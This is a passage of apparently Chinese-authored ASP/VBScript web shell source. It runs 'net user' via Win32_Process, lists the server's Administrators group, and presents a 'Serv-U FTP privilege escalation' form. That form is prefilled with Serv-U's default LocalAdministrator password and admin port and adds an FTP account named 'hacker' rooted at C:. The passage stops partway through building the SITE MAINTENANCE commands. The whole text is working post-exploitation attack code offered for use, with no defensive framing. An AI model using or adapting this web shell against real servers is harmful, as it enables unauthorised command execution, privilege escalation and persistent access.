Set oC=ss.SpawnInstance_
oC.ShowWindow=12
Set pp=cc.get("Win32_Process")
Response.Write pp.create("net user",null,oC,intProcessID)
Response.Write "<br>"&intProcessID
Response.end
end if
End Function
Function adminab()
Response.Expires=0
on error resume next '查找Administrators组帐号
Set tN=server.createObject("Wscript.Network")
Set objGroup=GetObject("WinNT://"&tN.ComputerName&"/Administrators,group")
For Each admin in objGroup.Members
Response.write admin.Name&"<br>"
Next
if err then
Response.write "好像不行啊:Wscript.Network"
end if
End Function
Function suftp()
if server.URLEncode("幽月")<>"%D3%C4%D4%C2" then response.end
rrs"<p><center>Serv-U FTP权程序--通杀版<br><br>IP连接说明:<br>服务器IP:0.0.0.0代表任何IP都可以连接<br>如果0.0.0.0不成功就修改成此 IP:"&Request.ServerVariables("LOCAL_ADDR")&"<br>如果再不成功就代表 Serv-u密码被改</p>"
rrs"<form name='form1' method='post' action=''>"
rrs"<center>服务器IP:<input name='serip' type='text' class='TextBox' id='duser' value='0.0.0.0'><br>"
rrs"<center>管理员:<input name='duser' type='text' class='TextBox' id='duser' value='LocalAdministrator'><br>"
rrs"<center>管理员密码 :<input name='dpwd' type='text' class='TextBox' id='dpwd' value='#l@$ak#.lk;0@P'><br>"
rrs"<center>SERV-U端口:<input name='dport' type='text' class='TextBox' id='dport' value='43958'><br>"
rrs"<center>添加的用户名:<input name='tuser' type='text' class='TextBox' id='tuser' value='hacker'><br>"
rrs"<center>添加的用户密码:<input name='tpass' type='text' class='TextBox' id='pass' value='hacker'><br>"
rrs"<center>帐号的所对的路径:<input name='tpath' type='text' class='TextBox' id='tpath' value='C:'><br>"
rrs"<center>服务端口:<input name='tport' type='text' class='TextBox' id='tport' value='21'><br>"
rrs"<center><input name='radiobutton' type='radio' value='add' checked class='TextBox'>确定添加"
rrs"<center><input type='radio' name='radiobutton' value='del' class='TextBox'>确定删除"
rrs"<p><input name='Submit' type='submit' class='buttom' value='提交'></p></form>"
serverip = request.form("serip")
usr = request.form("duser")
pwd = request.form("dpwd")
port = request.form("dport")
tuser = request.form("tuser")
tpass = request.form("tpass")
tpath = request.form("tpath")
tport = request.form("tport")
hostip = request.form("hostp")
timeout=600
if request.form("radiobutton") = "add" then
leaves = "User " & usr & vbcrlf
leaves = leaves & "Pass " & pwd & vbcrlf
leaves = leaves & "SITE MAINTENANCE" & vbcrlf
leaves = leaves & "-DeleteDOMAIN" & vbcrlf & "-IP=0.0.0.0" & vbcrlf & " PortNo=" & tport & vbcrlf
